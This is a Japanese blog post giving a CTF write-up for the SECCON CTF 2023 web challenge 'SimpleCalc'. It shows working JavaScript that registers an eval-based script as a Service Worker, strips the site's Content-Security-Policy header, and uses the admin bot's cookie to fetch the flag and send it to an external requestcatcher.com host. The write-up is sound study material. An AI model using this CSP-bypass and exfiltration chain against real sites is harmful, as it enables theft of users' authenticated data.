SECCON CTF 2023 Quals Writeup - はまやんはまやんはまやん

はまやんはまやんはまやん

hamayanhamayan's blog

SECCON CTF 2023 Quals Writeup

ArkさんとSatoooonさんのweb問回。面白くないはずがない。

[web] SimpleCalc

構成はシンプルで、以下のような形になっている。

  • GET / 任意のjavascriptコードを実行可能なページ
  • GET /js/index.js /が使っているjavascriptコード。URLのgetパラメタexprに書かれたjavascriptコードをevalで実行して結果を返すコードが入っている
  • GET /flag Cookieのtokenに管理者トークンを入れて、X-FLAGというHTTPリクエストヘッダーをつけてGETリクエストするとフラグが手に入る
  • POST /report 管理者BOTに任意のjavascriptコードを実行させることができる。

つまり、POST /reportで管理者に任意のjavascriptコードを実行させ、GET /flagCookie有+X-FLAGヘッダー有のリクエストの結果を抜き取るのがゴール。

CSPとカスタムヘッダー

この問題での一番の問題点はCSP+カスタムヘッダーである。

app.use((req, res, next) => {
  const js_url = new URL(`http://${req.hostname}:${PORT}/js/index.js`);
  res.header('Content-Security-Policy', `default-src ${js_url} 'unsafe-eval';`);
  next();
});

このようにCSPがかかっており、読み込みやリクエストの送信先として/js/index.jsしか使えないようになっている。
これに伴って解決するのが難しくなるのがX-FLAGカスタムヘッダー部分となる。
fetchやXMLHttpRequestを使えばカスタムヘッダーを設定したリクエストができるのだが、CSPによって/flagに対してリクエストを投げることはできないため、
どうやってカスタムヘッダーを投げるかが問題となる。

req.hostnameがCSP構築に使われているので、その辺をうまく使って何とかするのか…と考えたがうまくいかなかった。
いつもはこの辺でまあいいかとあきらめてしまうのだが、今回はチーム戦なので考え続けていた。
ここから3時間強頭を打ち付けて発想をひねり出すことに…

"index.js"

こういう天啓があり考えていくとService Workerのアイデアが出る。
色々試すとそれっぽく動いている感じがあり、ひたすら深堀していた。
Service Worker解法の格闘途中、チームに誘ってくれた@melonattackerさんの以下のコメントが自分のアイデアの補強となった。

問題文のこの一文が気になる...
Note: Don't forget that the target host is localhost from the admin bot.

なるほど、今思えばこれはヒントだったのか。
今回の問題はindex.jsをService Workerとして登録し、CSPを無効化することで解くことができる。
解法の大枠は以下の資料にあるものと全く同じで、最終的なPoCも以下スライドのコードを一部写経している。
以下の資料の1. SWがCSPを削除してレンダラーに返すパターンを読むと以降の解説がスムーズに読めるかもしれない。
CSPを無意味にする残念なServiceWorker | ドクセル

Service Worker解法

Service Workerとは何か、どういう攻撃ができるのか、みたいな所はページ末尾に類題とともに置いておくので気になる方は参照してください。
Service Worker解法では、/js/index.jsをService Workerとして登録して、サイトを書き換えることでCSPを無効化するという方針で解く。
まず、/js/index.jsをService Workerとして登録できるのかという部分については、以下の条件を満たす必要がある。参考

/js/index.jsはこれをすべて満たしているため、navigator.serviceWorker.register("js/index.js");のようにやればserviceWorkerとしてjs/index.jsを登録することができる。
/js/index.jsの中身は以下のような感じ。

const params = new URLSearchParams(location.search);
const result = eval(params.get('expr'));
document.getElementById('result').innerText = result.toString();

これがService Workerとして実行されるときに、GETパラメタexprをevalに投げて実行する機能が役に立つ。
ServiceWorker登録時にexprを指定してnavigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent([jscode]));とすることで
Service Workerの中身で任意のjsコードを動かすようにできる。
試しに以下のコードを動かしてみよう。

let payload = "";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

documentが無いとエラーが出る。
index.jsのdocument.getElementById('result').innerText = result.toString();でService Worker上ではdocumentにアクセスできない(DOM操作できない)のでエラーになって止まる。
適当に用意して、エラーにならないようにする。以下のようにしてみよう。

let payload = "";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

うまく登録できましたね。
よく見るとhttp://localhost:3000/js/に対して登録されている。
これはService Workerの影響範囲の仕様で、別途の設定無しでは、登録したjavascriptファイルの階層以下にしか影響を与えられないため。
なので、Service Workerの動作確認は/js/index.jsを使ってやっていこう。以下のようにリクエスト/レスポンス書き換えをやってみる。
内容としては、これの写経。

let jscode = 'alert(document.domain);';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これを動かした後にGET /js/index.jsへアクセスするとレスポンスが書き換えられalertがpopする。

歓喜の瞬間。ここまでくればほぼ解けたようなもの。
レスポンスのCSPヘッダーの削除してあるので後は持ってくるだけ。

let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));

これで登録して、GET /js/index.jsすればフラグがrequestcatcherに降ってくる。ok.
最終的なペイロードは以下のようになった。
新しいタブを開いてService Workerを登録させて、元のページを使ってGET /js/index.jsを踏ませる。

const registerPayload = `
let jscode = 'var xhr = new XMLHttpRequest();xhr.open("GET", "/flag", true);xhr.setRequestHeader("X-Flag", "s");xhr.withCredentials = true;xhr.send();xhr.onload = function() { fetch("https://asdfasdfsadfdt32yuh54rgasdefgsd.requestcatcher.com/in?d=" + xhr.response); };';
let payload = "";
payload += "self.addEventListener('fetch', async (evt) => { const url = new URL(evt.request.url); if (url.pathname === '/js/index.js') { evt.respondWith( (async () => { const respondFromNetwork = await fetch(evt.request); const cloned = respondFromNetwork.clone(); const { status, statusText} = cloned; const headers = new Headers(cloned.headers); headers.delete('Content-Security-Policy'); headers.set('Content-Type', 'text/html'); const responseToBrowser = new Response('<script>" + jscode + "</script>', { status, statusText, headers}); return responseToBrowser; })() ) } });";
payload += "this.document = {}; this.document.getElementById = (x) => { return {innerText: 'abc'} };";
navigator.serviceWorker.register("js/index.js?expr=" + encodeURIComponent(payload));
`;
const originURL = 'http://localhost:3000';
const sleep = ms => new Promise(r => setTimeout(r, ms));
setTimeout(async () => {
    /* 1. register SW */
    window.open(originURL + '/?expr=' + encodeURIComponent(registerPayload), '');
    await sleep(500);
    /* 2. trigger XSS */
    location = originURL + '/js/index.js';
}, 0);

431エラー解法

今から追って勉強する予定なのですが、431エラーを誘発させてCSPを消すテクがあるっぽいです。
Discordの深淵に潜って真相を確かめてきます。

補足1: まとめ

チームONsenで参加していました!
誘っていただいた@melonattackerさんと、チームメンバーの方々感謝です!楽しかった!

補足2: Service Worker 資料

過去色々出題されています。とりあえず手元にある類題メモも放出しておきます。